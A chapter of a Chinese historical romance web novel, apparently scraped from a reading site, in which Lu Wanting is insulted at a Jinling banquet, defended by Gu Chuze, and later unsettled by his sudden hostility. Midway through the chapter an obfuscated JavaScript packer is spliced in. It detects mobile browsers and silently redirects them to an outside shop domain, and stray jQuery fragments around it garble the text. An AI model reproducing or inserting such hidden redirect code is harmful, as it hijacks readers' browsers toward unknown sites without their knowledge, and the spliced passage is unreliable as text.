那声音不大不小,恰好够周围这一圈的贵女听到。
而顾夫人与其他宾客正在远处的湖边赏景,谈兴正浓,根本没注意到这边的小插曲。
陆婉婷顺着声音瞧过去,说话的是一位身穿藕色对襟长裙,头戴金步摇,脸圆乎乎的姑娘,看着十分富态。此人杏眼圆睁,像见到天敌一般瞪着她。
周围都是金陵簪缨世族出来的贵女,各个用手帕捂嘴,在一旁看笑话。
陆婉婷听到旁边有人低声提醒:“是承恩侯的敏郡主。”她这才知道对方的身份。
这承恩侯郡主约莫也是想嫁给顾清晏的女子之一,家世显赫,与顾府更是门当户对。可能在郡主眼中,她是突如其来的截胡之人,对她不仅没有好脸色,还说些酸话。
陆婉婷向对方盈盈一福,不卑不亢道:“婉婷见过郡主。”
承恩侯郡主冷哼一声,斜了她一眼,好像她是什么上不得台面的东西。
陆婉婷像是没觉察出对方的恶意,维持行礼的姿势,声音柔和:“婉婷来金陵是替家中长辈办事。家父与顾侯爷是老相识,婉婷难得来一趟金陵,自是要上门拜访顾夫人。顾大公子公事繁忙,婉婷也不过匆匆见了几面。他怎么想,也不是婉婷能左右的。”
陆婉婷一脸诚恳,抬眼看向承恩侯郡主,无辜道:“难道婉婷做了什么,让郡主产生了误会?若婉婷哪里做得不对,请郡主明示。婉婷有则改之,无则加勉。你们可不要讨厌婉婷啊~”
她一套不软不硬的说辞下来,既澄清她与顾清晏之前没有私情,归结为“误会”,又给承恩侯郡主递台阶下。
可承恩侯郡主不领情,冷笑道:“匆匆几面?几面就能让顾夫人把你当亲闺女对待,还说你没耍手段,把我们当傻子啊!”
旁边穿鹅黄色褙子的姑娘拉了下承恩侯郡主的袖子,打起圆场:“敏敏,你少说两句。陆姑娘能得到顾夫人喜欢,想必有过人之处。”
这位姑娘陆婉婷有印象,在上次的赏樱宴有过一面之缘,姓姜,是姜学士的闺女,也是金陵有名的才女。
姜姑娘的话不仅没劝住承恩侯郡主,反而火上浇油。
“过人之处?”承恩侯郡主声音尖利起来,话说得更刻薄,“一个家道中落的女子,能有什么过人之处。不过是会些伏低做小,献媚讨好,蛊惑人心的把戏。亏得顾夫人心善,慈悲为怀,见不得人受苦,被她钻空子哄骗了去。顾大公子为人孝顺,顾夫人喜欢,他又能怎么办。这种人凭什么能在他身边晃悠,还来参加我们的聚会,平白脏了......”
“郡主。”
一声低沉的警告插了进来,其中的冷意让现场静了一刻。
陆婉婷回头。
只见顾楚泽捏着扇子,双手环胸,懒懒地靠着柱子,脸上挂着漫不经心的笑,眼里却淬了冰。
“啧啧,都说来者是客,你们就这样招待来自京城的客人?一群人欺负一个姑娘,也不怕说出去丢人。”顾楚泽吊儿郎当努了努嘴,眼里满含讽刺。
“你!”承恩侯郡主不忿。
“你什么你,小爷我可有说错?姑娘家家说话积点德,学的什么街边泼妇,说出来的话倒叫人笑话。”
顾楚泽没等对方开口,继续说道:“有些人就是讨人喜欢。我娘喜欢陆姑娘怎么了?有本事你们也让我娘喜欢啊。没本事就别在这说酸话了。要是我哥知道你们这么对陆姑娘......”顾楚泽扬起的声音故意停顿下来,陆婉婷瞧见承恩侯郡主的脸唰一下白了,嘴唇微微颤抖,眼神飘忽。
“日后他对某些人会有什么看法,小爷我就不知道了。”顾楚泽边坏心眼地说,边走过来,扇子在他手里打了个转。
陆婉婷看到顾楚泽停在她身前,给她留下一个高大的背影,将她完全遮住。她从他身上闻到轻微的酒味和皂荚香混合在一起。
顾楚泽来得如此及时,陆婉婷原本想好的应对之法派不上用场。
那些社交场上的觥筹交错,话语间打的机锋,贵女间的含沙射影,她又不是没经历过,想必这一次自己也能处理好。只是没想到有人愿意挡在她面前,罩着她。这体验着实新鲜,陆婉婷心底不免涌上一股暖意。
她心想:顾楚泽看着吊儿郎当,对认定的家人还挺好。日后她作为嫂嫂,定要多关怀他,帮他扭转别人对他的坏印象,也算报答他这几次的帮忙。
承恩侯郡主被顾楚泽当众数落,脸上哪里还挂得住,继而羞愤离席。
其他贵女也讪讪分散开来。
正当陆婉婷要感谢顾楚泽时,顾楚泽先开了口。
“姜姑娘,请留步。”
不只被叫住的人顿住了,陆婉婷也意外地抬起头。
“顾二公子何事?”姜姑娘温婉的声音响起。
顾楚泽笑而不语:“姜姑娘,小爷我一直觉得姜姑娘才情过人,是金陵世家小姐中的典范,谁不夸姜学士教女有方,我也在兄长面前夸过你。”
“顾二公子谬赞。”姜姑娘轻轻柔柔回道。
“既如此,什么话该说,什么话不该说,姜姑娘该更懂分寸才是。莫让姜学士蒙羞,叫人看了笑话。”顾楚泽笑着说出犀利的话。
姜姑娘眸光微闪,平静回道:“芸儿受教了。”离去前不咸不淡瞧了陆婉婷一眼。
当顾楚泽转过身来,陆婉婷用亮闪闪的眼神望向他,嘴角噙笑:“楚泽,我真是对你刮目相看,你比我想象中还要厉害。多谢你帮我~”
“哼~这有什么。”顾楚泽脸上染上红晕,眼神飘忽,“小爷我又不是为了帮你。是她们欺人太甚,丢尽我们金陵人的脸面。她们不要脸,小爷我还要脸呢。”
陆婉婷也不戳穿他,捂嘴直笑。
“笑什么笑。”顾楚泽恼羞成怒,捏紧折扇,转身就走。看那背影更像是落荒而逃。
陆婉婷忍俊不禁,顾楚泽应当没发现他走开时手脚僵硬,走路同手同脚。
她脸上的笑意还没散开,那人莫名又转身朝她哒哒哒走回来。
顾楚泽没有与她对视,视线飘忽:“对了,你若想躲清净,后边花园里景色不错,那里人少。以前我不耐烦与他们打交道时去过几回。”说完他想说的话,又一溜烟地跑了。
**
陆婉婷坐在假山旁的凉亭里,这里确实少有人来。
没有外人在场,她轻呼一口气,挺直的身躯放松了下来。
今日是她正式在金陵的世家圈子里出现,她与顾清晏的婚事想必他们都得到风声。被人当面刁难,陆婉婷也不意外。唯一意外的是顾楚泽会帮她说话,得罪了承恩侯郡主与姜姑娘。
日后她还需想办法改善她们对她的关系。
想到这,陆婉婷不免有些苦恼,眺望一旁的造景小瀑布,脑袋放空。
“陆姑娘。”
一声清脆的叫声让陆婉婷转过身去。
是刚才悄声在她耳边提醒她郡主身份的姑娘,与姜姑娘并称“金陵双娇”的林姣姣。
若说姜姑娘像那清雅的兰花,那林姣姣就似那枝头初绽的梨花,笑起来甜丝丝的。
“林姑娘。”陆婉婷起身,“刚才多谢林姑娘提醒。”
林姣姣摆摆手:“我可没做什么,陆姑娘不必多礼。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590540|205440||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“林姑娘找婉婷何事?”
“噢~我在席上有些烦闷,出来透透气,正巧碰到你。我不会打扰到你吧?”林姣姣眉眼弯弯,让人讨厌不起来。
“怎会。”陆婉婷失笑。
林姣姣眼珠一转,期期艾艾瞧向陆婉婷。
“林姑娘怎么这般看婉婷?可是婉婷脸上有什么东西?”
“姣姣对陆姑娘十分好奇,有些话不知当不当讲。”
“哦?”
陆婉婷摆出一副洗耳恭听的样子,心下暗暗戒备。
“姣姣就直说了。听闻陆姑娘的父亲是上一任工部尚书,现在仍在羁押中。陆姑娘要嫁给顾大公子,是否是为了救你爹?”
林姣姣的一席话,让陆婉婷愣在当场,她没想到对方会问出这个问题。
她嘴巴开合半晌,轻轻地应了声:“是。”
林姣姣的杏眼微微睁大。
此时刮起一阵风,树叶摩挲沙沙作响。
陆婉婷承认道:“林姑娘猜得没错,婉婷想嫁进顾府,确有想让顾府帮家父一把,这点婉婷并不否认。”
她停顿片刻,继续说道:“然婚姻大事乃父母之命,媒妁之言。顾侯爷与家父早早定下两家的婚约,婉婷也不过是履行当初的约定罢了。在此之上有所期待,不应该吗?”
对面的林姣姣脸上浮现出一抹欣赏之色:“陆姑娘待人以诚,我果然没看错人。我可以叫你婉婷吗?”
陆婉婷友好笑笑:“当然可以。”
后来她们又聊了许多,到宴席结束时,林姣姣与陆婉婷已说好下回相约出行。
当陆婉婷搀扶顾夫人上马车时,她感到那些官宦夫人们看向她的眼光意味深长,想必他们事后也知道了她与承恩侯郡主的小插曲。
坐在马车上,顾夫人靠着软榻闭目养神,陆婉婷则静静地陪坐在一旁。
在帘子被风掀起的间隙,她瞧见一身劲装的顾楚泽骑在枣红色大马上,双颊酡红,面无表情,不紧不慢跟在马车后方。
像是察觉到她的的视线,顾楚泽抬眼直直看过来。
那眼神如腊月寒潭,深不见底。
陆婉婷心下一跳,被彻骨的目光冻住了呼吸。
她再想仔细揣摩,顾楚泽率先挪开目光,别开脸去。
他鞭子一甩,加速策马前行。与马车擦肩而过时,陆婉婷闻到他身上浓重的酒味。
顾楚泽怎么这样看她?仿佛一时间回到他们刚认识那会儿,对她充满敌意。
陆婉婷眉心紧蹙,心下惴惴不安。
方才在宴会上顾楚泽还替她出头,怎么就小半天的功夫,态度发生了巨大转变。难道在席上发生了什么她不知道的事?
这种惶惶不安的心情持续到回到顾府。
陆婉婷扶着顾夫人下车后,却没见到顾楚泽的身影。
顾夫人问旁人怎么不见顾楚泽,跟班小心翼翼说二公子在半路上就与他们分开了。
“他去了哪?”顾夫人情绪不佳,声音带了火气。
跟班说二公子往秦淮河的方向去了。
此时夕阳低垂,晚霞染红云彩。
“这个孽障,反了天了,又去与人鬼混!不管他,让他喝死在外头。”顾夫人气得面色涨红。
陆婉婷在一旁劝了几句,顾夫人摆摆手让马车送她回去,她也不好再说什么。
回程路上,陆婉婷反复咀嚼顾楚泽睇过来的那个眼神。
阴冷、愤恨、憎恶。
其中还夹杂一丝......委屈?
这到底是怎么了?她属实想不明白。